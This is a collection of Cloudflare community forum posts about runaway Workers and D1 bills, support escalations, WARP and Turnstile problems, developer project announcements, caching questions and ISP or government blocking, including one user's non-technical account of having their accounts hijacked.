Looking for help getting Cloudflare to engage on Case #02102376. I filed an Urgent billing dispute on May 1, status is still "New" 5 days later, no human assigned. Sharing the details below because the math makes this an obvious code defect, and I'm hoping someone from CF eventually sees this.

Numbers are all from CF's own GraphQL Analytics (d1AnalyticsAdaptiveGroups and workersInvocationsAdaptive), happy to share the queries if anyone wants them.

A Worker on every-minute cron contained an UPSERT-loop bug. Over 30 days, against a single D1 database whose physical size is 102 MB: 21,908 invocations, 1,675,579,098 rows written billed. That averages roughly 76,500 row writes per invocation, which works out to about 17,000 rewrites per row over the month. Not a workload, just a bug.

A second Worker on every-12-minute cron with a 583 MB DB wrote 1.09 billion rows and read 367,662,333,756 rows in 30 days. That's 26.5 million reads per invocation on average, i.e. full-table scans inside a loop.

Together these two databases account for 97 percent of the $3,376.65 invoice. Every other DB on the account is inside the free tier.

The giveaway that this is a defect rather than legitimate use is the ratio. A 100 MB database holds at most around a million rows. Rewriting each row 17,000 times a month is not something any business does on purpose.

Within 30 minutes of seeing the invoice on May 1 I disabled all 12 cron triggers across the account (verified schedules are empty for all 12 via the Worker API), created three Billing Budget Alert policies at $3, $20, and $30 thresholds (the account had zero alert policies before this; I verified by querying the alerting API and the count was 0), filed Case 02102376 with the full evidence packet, and exported all 14 D1 databases to local sql files (about 2.4 GB) in case anything happens to the data during dispute.

5 days later, Case 02102376 status is still "New". No human agent assigned. Auto-created by SAM, no follow-up. I understand Standard plan has no SLA, but a $3K Urgent dispute with a complete audit packet sitting untouched for 5 days seems worth flagging.

Account is otherwise healthy. 13-month customer, 39 Workers, 14 D1 databases, 10 Pages projects in production with paid custom domains, shipped a new site to Pages on the same day this invoice arrived. Actively building on Cloudflare.

My ask in the dispute is to refund the runaway portion (about $3,086 in D1 charges). I'll pay the legitimate baseline (about $7 plus tax). Not asking for goodwill, the math shows this is not a workload.

For anyone who has resolved a similar Standard-plan billing dispute, what worked? Single channel or multi-channel escalation?

And to anyone from Cloudflare reading this: Case 02102376 just needs a human pair of eyes. The audit packet is already attached.

Will edit this post with any update.

A couple of lessons for anyone running paid Workers and D1, because this is apparently a known trap. Every-minute cron plus a D1 binding is one config line away from a multi-thousand-dollar bill: D1 writes are billed per row, and a loop that re-writes the dataset every minute will hit you for thousands before you notice. Set 3 or more Billing Budget Alerts the day you enable Workers Paid because the platform doesn't add any by default. And use D1 GraphQL Analytics (d1AnalyticsAdaptiveGroups ordered by sum_writeQueries_DESC) to monitor write amplification — run the check from a VPS cron, not from a Worker.

I woke up this morning to a Cloudflare bill I cannot pay.

$35,000. For a side project with 81 users.

Here's the full story of what happened, how I found it, and what I fixed because I spent 6 hours debugging this and you should never have to.

The setup

I'm building RetainDB a memory layer for AI agents. You send it a conversation, it extracts structured memories, stores them, and lets you search them later. The architecture is Cloudflare Workers + KV + Durable Objects + Queues.

It's been running fine for months. Then last month's bill arrived.

KV Write Operations:      3.13B     $15,635
KV Read Operations:       16.62B    $8,306
DO Storage Rows Written:  4.01B     $3,962
KV List Operations:       574M      $2,870

I have 81 users. That's 350,000 API requests per user per day. I thought I'd been hacked.

I hadn't been hacked.

Bug #1: The infinite queue loop ($15k)

My architecture: user calls /v1/memory → gets queued → ingest worker processes the queue message → ingest worker calls /v1/memory internally to do the actual write.

The ingest worker was passing the original request's write_mode through to the internal call:

js

write_mode: message.write_mode || "direct_write",

When users called the API with write_mode: "async" (the default), the queue message stored "async". The ingest worker then called the API worker with write_mode: "async". The API worker saw async, re-queued it, and returned 202.

The ingest worker marked the job complete.

A new queue message now existed with the same content but a new job ID. The ingest worker processed it. Called the API worker. Got re-queued. Repeat.

Every single async memory write was looping through the queue until the idempotency key eventually deduplicated it — but not before generating 5-10 queue round trips and dozens of KV writes each time.

The fix was one line:

js

write_mode: "sync", // always force sync on internal calls

Bug #2: 4 billion Durable Object writes ($4k)

Every memory write triggered this path through my pending overlay system:

12 unbatched storage.put() calls per memory write. No batching. No debouncing. At 334 million memory writes per month (driven partly by bug #1), that's 4 billion DO storage writes.

The fix: removed all DO writes from the ingest worker entirely. The pending overlay has a 30-second TTL — it expires on its own. The acks were redundant. The job state DO mirror was redundant (KV already has it). Dropped from 12 to 2 DO writes per memory write.

Bug #3: KV list scan on every request ($2.8k)

API key auth had a 3-step fallback:

1. Hash lookup (1 KV read) ✓ fast

2. Prefix lookup (1 KV read) ✓ fast

3. Full kv.list() scan of all API keys if both miss

Step 3 was running on 95% of requests because the hash/prefix indexes weren't populated for legacy keys. 574 million requests × 1 list scan = 574 million KV list operations at $0.005/1000.

The fix: one flag.

LEGACY_API_KEY_SCAN_ENABLED = "false"

The compounding math

None of these bugs would have been catastrophic alone. Together:

• Bug #1 multiplied every write by 5-10x through queue loops

• Bug #2 multiplied every write by 12x in DO operations

• Bug #3 added a list scan to every single request regardless

81 users → looks like 350k requests/user/day → actually ~30k real requests/user/day amplified 10x.

What I learned

Never pass user-facing write modes through to internal queue workers. The queue consumer IS the async handler. Its internal calls should always be sync.

Durable Object storage.put() is not cheap at scale. Treat it like a database write, not an in-memory assignment. Batch everything. Use TTLs instead of explicit deletes.

Any fallback that touches KV list runs on every request in practice. KV list is $5/million. If your auth fallback does a list scan, it will do it on every cold request.

Set up Cloudflare spending alerts before you need them. There's no hard spending cap on Workers. I found out about this from the bill, not an alert.

The fixes are deployed. The bill is sent to Cloudflare support with a full explanation. The product still has 81 users and is still running.

If you're building on Cloudflare Workers and Durable Objects audit your DO write patterns before you ship. Especially if you have any queue consumer that calls back into your own API.

Happy to answer questions. Yes I'm not okay. No, I don't know if Cloudflare will credit it.

We kept running into an annoying problem with our developer API docs.

Whenever someone used Cursor or Claude to write code against our API, the model would confidently invent things.

Wrong endpoints.

Wrong params.

Wrong paths.

Sometimes the output looked very believable, but it was completely fake.

So we built an MCP server that sits in front of our docs.

Now, when an AI assistant needs to know something like “how do I create a CRM contact?”, it can call search_docs, find the relevant doc page, then call get_api_endpoint to get the exact OpenAPI schema before writing any code.

The goal is pretty simple: make the model look things up instead of guessing from stale training data.

The stack is all Cloudflare:

• Worker for the MCP runtime

• Workers AI bge-base-en-v1.5 for embeddings

• Vectorize for the vector index

• Pages for the docs site

At build time, we chunk our markdown docs by headings, flatten the OpenAPI spec per method, embed everything, and upsert it into Vectorize.

At runtime, the Worker embeds the query and searches the index.

No Pinecone. No external embedding API. No separate infra to maintain. Just wrangler deploy.

Public endpoint, no auth needed:

I wrote a longer breakdown here:

​I am writing this post to formally express my sincere appreciation for Cloudflare and the robust infrastructure it provides.

​The generosity of the features offered in the free tier is truly commendable. In an industry where many alternatives are highly restrictive, Cloudflare’s free plan provides a solid and more than sufficient foundation for demo environments and MVP stages. This allows us to build and test our projects without encountering immediate technical bottlenecks.

​Furthermore, this visionary strategy builds immense trust. It is precisely because of this user-friendly approach that many of my peers, myself included, have been far more eager and willing to upgrade to the paid plans. When transitioning to a production environment, the price-to-feature ratio of the paid tiers is exceptionally good and highly efficient.

​I truly hope that both the free and paid plans continue to maintain this excellent balance moving forward.

​Thank you to the Cloudflare team for the tremendous value you add to the development ecosystem. You are genuinely shaping the internet.

​Best regards.

Two issues:

1. On both my iPhone and iPad, WARP 1.1.1.1 has been VERY slow for all internet connections (whether WiFi or cellular): 10% of the typical speed without 1.1.1.1.
   It turns out the reason is MASQUE.
   As soon as I switch the WARP Encryption Tunnel Protocol from MASQUE to WireGuard, the problem goes away, on both devices. I might then get only 50% of my non-WARP speed, but that’s OK for me.
   This has been going on for a week now.

2. However, on my iPhone, WARP with WireGuard blocks the MTA app in NYC. So I can't see when the next bus or subway is coming. If I switch the Encryption Tunnel Protocol back to MASQUE, the MTA app works, but now all browsing is slow.

So I have disconnected WARP on my iPhone and gone back to my original DNS app DNSCloak, which I still point to Cloudflare's to block malware. Works fine.

Any thoughts?

Hi! First time posting here, I don’t know if I can ask about it

I play destiny 2 with WARP since my ISP has many problems with that game (it crashes many times, I head because they share the same port for opereting but I’m not sure).

When I play using warp, I can play without errors but it gives me restricted Nat and i can’t do any matchmaking activities.

It’s possible to resolve?

We’re running into a serious issue with our  account and could use help from anyone with internal visibility or experience handling escalations.

Our account access was revoked due to an action attributed to a “Superadmin.” The problem is, we don’t know who this Superadmin is, and no one on our team made this change.

At this point:

• Our account still exists

• It is no longer connected to our main access

• We are completely locked out

Cloudflare support has told us that because the change was made by a “Superadmin,” they are unable to assist further. However, this leaves us in a situation where we cannot verify what happened, who made the change, or how to regain access.

There has been no indication of malicious activity on our end, which raises concern that this could be a system issue or unintended change.

If anyone from  leadership, account management, or security teams sees this, or if someone in the community has navigated a similar situation, we would greatly appreciate guidance on how to escalate this properly.

Happy to provide verification and details privately.

It really sucks when your account is taken from you. Pro account 3 domains and no website on them at all. All private zones for my home and development. Rootkits dropped on servers that persisted due to MDM flaws. Took less than 4 hours to get it all cut off but the damage was done in minutes. Now my personal domains, with my name on the registrar, are running n8n workflows out of them from what I could capture. Likely phishing farms if I had to guess. No idea if he is racking an enormous bill up. Pretty certain I did not have a card on file agreeing to pay for add-ons since I had to enter it every time I bought anything.
The attack vector was simple. The email that I use for everything was taken over and Gmail doesn’t care. They changed the security info and the email password enough times to make my attempts to get it back impossible even with a workspace. The attack exposed a password manager that had enough in it to get ATT to believe them and perform a SIM swap. There went 2fa. Even this post is sadly not from my 13 yr old account. AI has turned every decent hacker into an army.
The point of this post is a warning, therapeutic, and some release of the frustration and absolute helplessness that comes from having your life stolen.
I’ve had to put fraud alerts on my credit report, get new phones for my wife and I(iPhone 17 are pretty sweet coming from an Android guy). I’ve filed for ID theft with the FTC, ATT, local police, and the cyber division of the FBI. Contacted GitHub, Cloudflare, Gmail “community”, etc. First of all, why is it so hard to even get a contact method for most of these companies. Not just them but the actual right channel so you don’t get a message back a week later with another email(can’t forward yours). I even have a yubikey that was active 2fa but is no longer on the accounts. The precision and speed of it a was mind blowing. Logs show a compromised GW that wasn’t patched yet from an exploit recently discovered. Sitting there unnoticed long enough for recon to forge certs and move laterally across the network dropping rootkits, grabbing what they needed, and destroying most of the evidence on the way out. Thousands in damage.
Of course I was blind to the whole thing, Wazuh trusted the actor and the actual heist was over in minutes.
My point other than to vent is be careful. Check firmware for your nodes of course, but don’t trust your ISP to keep their shit updated. Check. Rotate frequently, and for god sake keep a fucking paper and pen copy of your recovery info. Air gapped USB. Something other than NAS at 2 sites. The rise of the automated hackers is moving quickly. Don’t take it lightly.

Any time I access a website protected by cloudflare (specifically on smart tv) it puts me in a verification loop where It says waiting for [website] to respond, and then gives me another verification checkbox.

I think it might be since using a remote only allows me to move the cursor in straight lines, and this is 'bot behaviour' or something. I don't have any adblocks / vpn either. How do I solve this?

Hi flares, I have a bucket question. I love my prod R2 bucket. It's aws compat. I can use aws cli with --endpoint and move file to and from. But my local .wrangler/state/v3/r2/ bucket not so much. Why can't it just be a normal file system in there? Or at least give us that facade? I can't even use aws cli to transfer stuff locally right?

I use http://localhost:8787/cdn-cgi/explorer/r2/bucket-name thing and that's nice but it's not the same. What am I missing? Is there a better way?

Update: new opensource python watcher project trying to solve this

I have a couple tickets into cloudflare support, “Cloudflare is now checking the nameservers” for a few days now, the nameservers i was assigned are different than what’s listed and i cannot delete/change them even though cloudflare was the registrar. If there are any cloudflare employees monitoring this sub can you please reach out?

Hey ,

Over the past year of building consumer-facing products, one of my biggest pain points has been doing email support without actually knowing what automated or marketing emails I’ve already sent to those users. Context is everything, and disconnected systems make it painful.

I’ve been waiting for a native way to tackle this end-to-end without relying on third parties. With Cloudflare officially dropping Email Sending to public beta yesterday, the final piece of the puzzle is here.

To celebrate, I've open-sourced the entire stack I built to solve this. It's called saasmail - a self-hosted, centralized inbox for SaaS teams where marketing, notifications, and support emails are collapsed into a single timeline per user.

See a demo here: (username: / password: saasmail)

The Architecture (All Cloudflare)

I wanted this to be as lightweight and cost-effective as possible using the Cloudflare ecosystem:

• Receive: Cloudflare Email Workers

• Database: Cloudflare D1 (SQLite)

• Storage: Cloudflare R2 (for attachments)

• Background Jobs: Cloudflare Queues (for sequence processing)

• Runtime/API: Cloudflare Workers + Hono

• Send: Cloudflare Email Sending (or Resend)

Simple, and no AI (yet) - the goal here is to be super cost-effective while making the most of the Cloudflare Stack!

Key Features

• Unified Timelines: See the promo blast, the billing receipt, and the support thread in one single view before you reply.

• Thread vs. Chat Views: You can set marketing inboxes to look like traditional email threads, and support inboxes to look like iMessage chats.

• Email Sequencing: Build multi-step drip campaigns natively. It automatically cancels if the contact replies.

• Full API Connectivity: Scoped API keys to connect email functionality to any application you're building.

It's fully open source, and you can deploy it to your own Cloudflare account.

Check out the repo here:

Would love to hear what the community thinks or if you have any feedback on the architecture!

I'm starting to play with the new mesh network capabilities Cloudflare just rolled out. For HA they specifically state:

Outbound traffic (from devices on the subnet through the Mesh node) does not fail over automatically. Your environment must detect that a different replica has been promoted to active and update routing tables to send traffic through the now-active host. There is no client-side failover for on-ramp traffic at this time.

Has anyone figured out how to actually know which node is 'active'? There doesn't seem to be any obvious routing changes on the nodes as you switch between them.

My plan was to run frr on the nodes and only have the active node announce routes via BGP, but can't come up with a process to know which one is active.

Anyone else tried this - Assume i'm missing something?

Hello, I am working on a school project and I need to create a tunnel for my Raspberry Pi to enable SSH connection to it from any network.

I found out that I can do that with cloudflare, but I need a domain in order to do that.

Is there a website that allows me to create a domain for free.

would be great if the UI was consistent from one month to the next omg

Hello guys,

I'm handling OSS project with ~500 start on github and around 10k users. I do commits regularly. The stack is full on Cloudflare + SvelteKit.

Where can I see exact requirements for Project Alexandria application, if I am even eligible?

Thanks

I was planning to host multiple projects on cloudflare, but I'm not sure how to separate/isolate each project and its resources. Is there a system or pattern to do this?

Thanks.

Can't do anything at the moment with it. My tailscale has troubles as well. It's on a Ubuntu VM and I'm a noob on this stuff. Thanks for anyones help

Is it the case that if you're running Google Colab and open websites on the side then CloudFlare blocks you for being a bot and runs endless verification check loops ?

Hey everyone,

I built BHVC, a small full-stack starter using Bun + Hono + Vue, designed to run on Cloudflare’s free tier with Cloudflare D1 as the database.

It keeps the frontend and backend clearly separated during development, while still running together on Cloudflare when deployed.

It includes a Cloudflare Worker API, Vue frontend, shared TypeScript contracts, auth flow, and basic project structure to get started quickly.

Repo: 

Hi, could you please suggest a caching strategy for a blog on video games

• Astro SSG,

• Deployed on a Worker,

• Proxied through CF,

• JS/CSS files have hashes in their names,

• Images do not have unique slugs, they look like: `/image-name.webp`.

I am not cache-savvy, more like the opposite, here is the current implementation:

/*
Cache-Control: public, max-age=0, stale-while-revalidate=7776000
/_astro/*
Cache-Control: public, max-age=31536000, immutable

Here are some other websites for reference:

Wired
stale-while-revalidate=60, stale-if-error=86400, s-maxage=14400

CSS-Tricks
max-age=0, s-maxage=2592000

Astro js
public, max-age=0, must-revalidate

Hey,
I’m hitting a wall with the new Codex limits on GPT Business, they burn through way too fast lately and it’s starting to break my workflow.

I’m thinking about switching to Cloudflare Workers AI for coding workflows (with VS Code / Cursor), mainly to avoid these limits.

For those using it:

• Is it actually worth it?

• How’s the cost over time?

• Any pain with setup or performance?

Would you recommend it?

I moved all my statically generated pages to Cloudflare Pages, t’s 5× faster than Vercel, much simpler to use, and free. Are you using it?

Here are the sites, and they perform crazy: , ,

Pessoal preciso de ajuda com a seguinte situação.
Estou desenvolvendo um sistema simples de gestão financeira para um único cliente, ele tem uma empresa e recebe diariamente muitos boletos em PDF para pagamento.
Estamos falando de algo em torno de 10k de arquivos e por volta de 3GB de dados.

Uma única pessoa é quem acessa o sistema, ela quem realiza o lançamento de novos boletos e também quem baixa os arquivos para enviar para pagamento. Diariamente faz o download de cerca de 200 arquivos armazenados.

Hospedei no supabase mas rapidamente atingiu o limite grátis de 1GB e a conta PRO é $25,00 que considero caro.

Pesquisando cheguei no CloudFlare R2 com um limite gratuito de 10GB, vocês acham que atende os requisitos para o meu cenário? Tem alguma outra sugestão de armazenamento? Sempre será apenas PDF.

I run a small design and hosting company, and recently a client was hit by the clearfake/clickfix malware. Pretty nasty, with it's calls out to blockchain. Anyway, in dealing with the infection, another client also reported same thing. I dug in and checked all clients in my hosting, and found several. But the only real common denominator was that ONLY sites that were utilizing cloudflare were infected. Not a single one that didn't use it. Almost as if the malware was specifically targeting cloudflare sites. Has anyone else had that malware, and if so was it on cloudflare protected sites or non?

Hi,

We have $100,000 in unused Cloudflare credits.

Not much really you can do other than Databases/storage and Workers? And maybe use open source AI models which are not that great...

ICYMI, I wanted to share through a few updates from the last month for self-serve customers on this forum. Let me know what you think on any or all of these updates, and I will share your feedback internally here at Cloudflare. 

New Billable Usage Dashboard & Budget-Based Alerts
Earlier this month, we just shipped an upgraded Billable Usage Dashboard, aimed primarily at answering the question: Why was I charged this amount? 

What’s new here? 

• Daily usage visibility for better spend tracking and pacing throughout the period

• Usage filters by specific product (i.e. Workers, R2, Stream, Images, Argo, and Load Balancing, Cache Reserve, Log Explorer, etc.)

• Alignment on invoice billing cycle opposed to calendar month cycles  

• PLUS budget alert setting for early notification on spend each month, if you need it.

New Support Experience
We’ve redesigned the support experience directly within the Cloudflare dashboard to be faster and more intuitive. Instead of having a lot of fields to help categorize your ticket, you can simply describe your issue in plain language and hit submit to get connected to the right support resources. 

If you are a Business plan customer, there is also an improved Chat support experience, where you can start a live chat directly opposed to having to fill out a ticket form first. 

New Payment Options: Apple Pay and Google Pay 

We have also rolled out Apple Pay and Google Pay as payment options for Self-Serve products in the Cloudflare Dashboard. No more manual card entry—just secure, one-tap payments across all your devices. 

Let us know if there are other payment options that would make your life easier or if this works for you! 

Coming Soon: Brand Protection coming as a Self-Serve product

Protect your reputation. Identify lookalike domains and unauthorized logo usage the moment they are registered, allowing you to stay ahead of bad actors. 

Stay tuned on the Cloudflare blog and socials for when this officially launches later this quarter. 

Domain restore failing in redemption period for (URL-domain-this.com)

SAM - Support Automation (Employee) created this case. April 30, 2026 at 12:23 PM
Case Number 02101118

Description

Subject: Domain restore failure in redemption period – (URL-domain-this.com)

URGENT Cloudflare Support,

I am attempting to restore the domain (URL-domain-this.com), currently in the redemption period after expiration on March 16, 2026.

The domain correctly shows as restorable in the dashboard and the restore flow proceeds to the payment confirmation step. However, after confirming payment, the process fails immediately with the following error:

“Failed to initiate domain restoration process for nelsonrefrigeration.com. Please try again or contact support for assistance.”

Details:

Domain: (URL-domain-this.com)
Status: Redemption Period (eligible for restore)
Account: (URL-domain-this.com)
(billing enabled)
Result: Payment flow completes UI step, but registry restore initiation fails

Stuck redemption state or registry synchronization issue?

Request:
Please manually trigger the registry restoration, or clear/reset the redemption state and re-attempt the restore on the registrar side.

Kind regard,
Owner of (URL-domain-this.com)

SAM - Support Automation (Employee) created this case. April 30, 2026 at 12:23 PM
Case Number 02101118

I have been evaluating both for a mid-to-large scale setup and want real & true opinions before committing.

The usual debate: Akamai looks like the best choice for enterprise, but Cloudflare's developer experience and pace of innovation are hard to ignore.

Curious about your take on:

• WAF quality and false positive rates

• CDN performance (especially in Asia-Pacific markets)

• Configuration complexity (Property Manager or Cloudflare dashboard)

• Whether Akamai's support actually justifies the cost

Also, has anyone worked with consultants like Evolvous Consultation Services to handle onboarding and setup for either platform? Worth it or unnecessary overhead?

Loop on turnstile, cache clear

I can't get past the security verification because it's stuck in an infinite loop, but somehow only on Chrome. Is anyone else experiencing this?

I removed sso because I was not expecting instant logout. I cannot reach cloudflare because I need to login. But login does not work because I removed SSO.

It would be much better if person removes the only SSO and we could enter with password :(

South Korea has started banning websites that use Cloudflare. Is using a VPN the only reliable solution?

Error HTTP 451 2026-04-30 21:20:58 UTC

Unavailable for legal reasons

What happened?

In accordance with the laws and regulations of the Korean government, Cloudflare has taken measures to restrict access to this website using Cloudflare's pass-through security and CDN (Content Delivery Network) services provided through Cloudflare servers located in Korea.

Please check https://lumendatabase.org/notices/73101162 for additional information regarding the relevant laws and the regulatory body that issued the order.

If you believe there are grounds to object to this measure, please contact the relevant government agency directly: the Korea Communications and Information Commission.

For more details on Cloudflare's blocking methods, please refer to the "Transparency Report on Infringement Procedures" here.

Last month Amazon Bedrock sent me a $179 bill. For one day of coding.

I had seen $30 during the session. Didn't stop. Didn't feel it. $30 is just a number. ₹16,700 is rent.

So I built CORVYN — an open source local AI proxy that routes requests to free models automatically and shows costs in your actual currency.

Then I added Cloudflare AI Gateway on top. Here's what I got for free:

→ Response caching — repeated prompts cost zero
→ Full analytics — every request logged, zero code
→ Rate limiting — protects free tier quotas
→ Unlimited requests, 100K logs/month free

Setup was just swapping the provider URL and adding one header. 10 minutes.

MIT licensed. Zero telemetry.

When I set up my domain and DNS I was given the choice to block AI bots

I wish to unblock this

I went through the settings and found the option but the changes (i.e. new robots file) has not been created

Is there a big or workaround or way to force a new robots file?

Thanks

Hi guys,

I don't know much about this but I switched to Cloudflare DNS as I was recommended to switch to it over using automatic. I use ethernet connection, I am downloading something and my WiFi is at a steady 12MB/sec. When I was on an Automatic DNS setting, my WiFi would be at around 35MB/sec when downloading.

I'm not sure if this is to do with the DNS, but that's the last setting I've changed in relation to downloading stuff hence why I'm asking here, apologies in advance if this is a stupid question

Thank you 😄

Working in SEO/GEO for Turkish market 6+ years. Last year clients

started reporting their sites stopped appearing in ChatGPT/Claude

answers, even after doing all the obvious GEO work (llms.txt,

schema markup, etc.).

After investigating, I found the culprit: Cloudflare's "Managed

robots.txt" feature silently injects this for users without explicit

opt-in:

User-agent: GPTBot

Disallow: /

User-agent: ClaudeBot

Disallow: /

User-agent: Google-Extended

Disallow: /

User-agent: Bytespider

Disallow: /

User-agent: CCBot

Disallow: /

(...for 8+ AI bots, prepended BEFORE any custom rules)

The block is added at the top of robots.txt, before whatever the

user wrote. So even if a customer adds:

User-agent: GPTBot

Allow: /

...thinking they're opening up access to ChatGPT, the Cloudflare-

managed Disallow block comes first and wins (per Google's robots.txt

spec: first matching User-agent block wins).

Most site owners have no idea this is happening. They check

/robots.txt and see "Allow: /" in their custom section — but the

served version has the Cloudflare block prepended.

I tested 50 client sites with this configuration: 32% had the block

enabled silently.

How to check on your own site:

1. Cloudflare dashboard → AI Crawl Control → Settings

2. Look for "Managed robots.txt" toggle

3. If ON, your AI bots are silently blocked

Or just curl your robots.txt and look for a "BEGIN Cloudflare

Managed Content" comment block at the top.

Questions for the community:

1. Are any of you tracking GPTBot/ClaudeBot crawl frequency on yoursites? What's your current ratio versus traditional Googlebot?

2. For non-English markets — has anyone noticed this affecting yourAI citation rates more than English markets? My theory is thatsmaller-language SEOs are less aware of GEO best practices, sothe Cloudflare block goes unnoticed longer.

3. Has anyone systematically measured the impact on traffic whenthey disable this Cloudflare setting? Curious about real before/after numbers.

I'm happy to share the audit checklist I built around this if it

helps anyone — sub rules permitting.

So i bought a domain on cloudflare, and then one day i got an email that the domain was deleted and something about name servers, i know nothing about this.

Now i have added it back to my account and im trying to change the nameservers that they suggest in my settings, but i cannot change them because im on a free plan.

How do i solve this ? Why do i have to do any of this ?

Thanks

I'm building a blogging saas, free plan gives them mysaas.com/username url and pro plan should allow them to use root domains like theirdomain.com.

But this is quite tough, cloudflare only allows to use subdomain (eg: blog.theirdomain.com) on their free/pro/business plan which means if you want cloudflare to support root domain addition it requires you get an enterprise plan, which is not feasible for a new saas.

is there any tool which handles such custom domain thing at cheap cost? or any workaround?

I've been building teenybase, a complete backend framework that runs on Cloudflare. You define your backend in a single TypeScript config file, and `teeny deploy --remote` handles the rest.

Cloudflare's infrastructure is great: no cold starts on Workers, zero egress on the R2, and D1 is ok for most apps. But there's no framework that gives you a full backend and easy way to deploy to CF, so I built one.

In the config file `teenybase.ts`, you define tables, fields, auth, and security rules. The command `teeny deploy --remote` then triggers the following steps:

1. Reads your D1 schema in teenybase.ts and diffs it against the current D1 schema

2. Generates and applies SQL migrations to D1

3. Deploys a Hono app to a Worker with your D1 and R2 bindings

The Hono router mounts middleware (CORS, logging, JWT verification) and passes all `/api/*` requests to a route handler that registers endpoints based on your config.

For example, CRUD routes per table will be mounted as

-`/table/{name}/select`, `/insert`, `/update`, `/delete`, `/view/:id`, `/edit/:id`

Row-level security rules in your config (e.g. `auth.uid == id`) get compiled to SQL WHERE clauses at query time, so access control runs in D1, not in application code.

Local dev uses the same stack: `teeny dev` runs `wrangler dev` to spawn a local Worker with a local D1 database, so what you test is what you deploy.

You can self-host using your own Cloudflare account, or can deploy with us via our managed backend.

The teenybase package will be open sourced soon, check back in the comments

I've been relying on CDN caching and re-validation with the Cloudflare Purge API using cache tags. With the addition of asynchronous support for `stale-while-revalidate`, I'm wondering if we could use "soft purge" to serve data from the CDN (not cached in the browser) for say 1 year, and only when the purge occurs - switch to the stale version with re-validation in the background, so we get the best of both worlds.

It seems like tag purge completely removes the item from the cache, so the stale version can't be served. Maybe we could set max-age=0 to control the cache after re-validation in a custom Worker, but I'm not sure if it will work.

Caching with tags works great, but origin can be quite slow (hits complex graphql queries from Wordpress API).

```

Cache-Control: public, max-age=0, must-revalidate

Cloudflare-CDN-Cache-Control: max-age=31557600, stale-if-error=60

Cache-Tag: graphql:Query, ...

```

I completed a 5-round marketing interview loop, including a meeting with the VP, about a month ago. I’ve followed up twice with the recruiter, but both times I got the same reply: ‘I haven’t received any update from the hiring team.’ Should I take this as a sign that I’m not the top candidate and that I likely didn’t get the role? Anyone experienced the same situation?

Cloudflare requires you transfer dns before a domain transfer can go through. The domain I'm trying to transfer is registered with web.com. Their interface requires 3 name servers. If you leave the third blank, it will populate it with their own name servers. You can't use a duplicate of the Cloudflare name servers. If I leave the default name server in the name server 3 field, it borks Cloudfare activation. I tried this and it took the old site down and then I had reset it to the defaults name servers and manually enter in the records. About a couple of hours of downtime. What a headache. Has anyone dealt with a situation like this?

I'm a web developer based in Madrid running multiple sites behind Cloudflare. Yesterday evening and again today, all my Cloudflare-proxied domains became unreachable from my

Vodafone fiber connection — including business-critical sites like a legal tech platform and a hosting panel.

▎ What happens technically:

▎ - DNS resolves correctly to Cloudflare IPs (188.114.96.x / 188.114.97.x)

▎ - TCP connections to these IPs time out completely — no RST, packets are just dropped

▎ - IPv6 (2a06:98c1:...) also dead — "No route to host"

▎ - ping, curl, any browser — nothing gets through

▎ - Non-Cloudflare sites work perfectly

▎ - Same WiFi network: iPhone works (likely cellular fallback), Mac doesn't

▎ Both times it happened during or after a major football match, which makes me suspect this is related to IP-level anti-piracy blocking that's catching legitimate Cloudflare

ranges as collateral damage.

▎ Workaround: Routing traffic through a VPN/Tailscale exit node bypasses the block, confirming this is ISP-side filtering.

▎ Has anyone else in Spain (or other countries) experienced Cloudflare IPs being blocked by their ISP? Curious if this is a known pattern.

When I try to deploy, this shows up in the Firefox console:

V https://dash.cloudflare.com/cf-2595e2d34c93fb15.js:3
    ew https://dash.cloudflare.com/cf-2595e2d34c93fb15.js:3
    G https://dash.cloudflare.com/cf-cf943928f2a4dc8d.js:3
    saveDeploy https://dash.cloudflare.com/cf-cf943928f2a4dc8d.js:3
    eU https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    eW https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    re https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    re https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    rn https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    ro https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    oN https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    eD https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    ro https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    nU https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    nO https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    r https://dash.cloudflare.com/cf-9e6cc2a8867cbda0.js:3
    node_modules sentry/react/node_modules/@sentry/browser/esm/sdk.js/e5/</<@https://dash.cloudflare.com/cf-9e6cc2a8867cbda0.js:3
    node_modules sentry/react/node_modules/@sentry/browser/esm/sdk.js/U/</</<@https://dash.cloudflare.com/cf-9e6cc2a8867cbda0.js:3
    ru https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    rr https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    ra https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    ra https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    createRoot https://dash.cloudflare.com/cf-a6f5e22754c2ed8a.js:3
    ts https://dash.cloudflare.com/cf-7583e314841018e6.js:3
    ts https://dash.cloudflare.com/cf-7583e314841018e6.js:3
    __webpack_require__ https://dash.cloudflare.com/runtime.4a1003ac01a9f501.js:6
    promise callback*./index.js https://dash.cloudflare.com/cf-app.4a1003ac01a9f501.js:3
    __webpack_require__ https://dash.cloudflare.com/runtime.4a1003ac01a9f501.js:6
    o https://dash.cloudflare.com/cf-app.4a1003ac01a9f501.js:3
    <anonymous> https://dash.cloudflare.com/cf-app.4a1003ac01a9f501.js:3
    a https://dash.cloudflare.com/runtime.4a1003ac01a9f501.js:6
    <anonymous> https://dash.cloudflare.com/runtime.4a1003ac01a9f501.js:6
    <anonymous> https://dash.cloudflare.com/runtime.4a1003ac01a9f501.js:6
    <anonymous> https://dash.cloudflare.com/runtime.4a1003ac01a9f501.js:6

I've tried Firefox, I've tried Edge, I've tried a different computer.

I can't do my job.

AI Agents are becoming powerful and I believe that soon they will help us operate our Cloudflare infrastructure, autonomously investigating and remediating issues.

But how will Agents access our Cloudflare infrastructure securely, without leaking credentials? I believe that if Agents call APIs without using credentials they will be no credentials to steal or leak.

I have been building an identity-aware gateway to solve that issue. I have recently added the full support of the entire Cloudflare API, including R2 with SigV4.

So, now AI Agents can use only their identity (JWT or Certificate) to call Cloudflare API.

